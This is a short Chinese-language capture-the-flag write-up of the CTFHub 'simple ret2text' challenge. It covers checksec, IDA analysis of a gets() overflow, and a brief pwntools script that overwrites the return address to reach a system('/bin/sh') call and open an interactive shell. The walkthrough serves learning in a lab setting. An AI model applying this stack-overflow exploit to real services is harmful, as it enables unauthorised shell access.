【PWN】刷题——CTFHub之 简单的 ret2text

萌新第一阶段自然是了解做题的套路、流程,简单题要多做滴

目录

前言

一、checksec查看

二、IDA反汇编

三、exp编写


前言

经典的ret2text流程 


一、checksec查看

【PWN】刷题——CTFHub之 简单的 ret2text_第1张图片

 64位程序,什么保护都没有,No canary found——可以栈溢出控制返回

二、IDA反汇编

【PWN】刷题——CTFHub之 简单的 ret2text_第2张图片

发现危险函数gets()

【PWN】刷题——CTFHub之 简单的 ret2text_第3张图片 发现存在返回shell的函数secure(),虽然有一系列随机数啦,随机数比较之类的前置判断,不用管他,只要我们溢出返回地址直接指向目标指令的地址就可以成功获取shell

【PWN】刷题——CTFHub之 简单的 ret2text_第4张图片

v大小为0x70+栈基指针0x8+返回地址 

 返回哪里呢?直接返回system("/bin/sh")指令的地址。

三、exp编写 

from pwn import *

r=remote('网址',port)

addr=0x4007B8                        #system("/bin/shell")指令地址
payload=b'a'*(0x70+0x8)+p64(addr)    #覆盖v存储、覆盖栈基指针、修改返回地址

r.sendline(payload)                  #发送payload

r.interactive()                      #shell 交互

 然后ls查看有哪些文件,cat flag即可获得flag

【PWN】刷题——CTFHub之 简单的 ret2text_第5张图片


总结

蒟蒻在行动!

你可能感兴趣的:(PWN刷题,pwn,ret2text,ctf)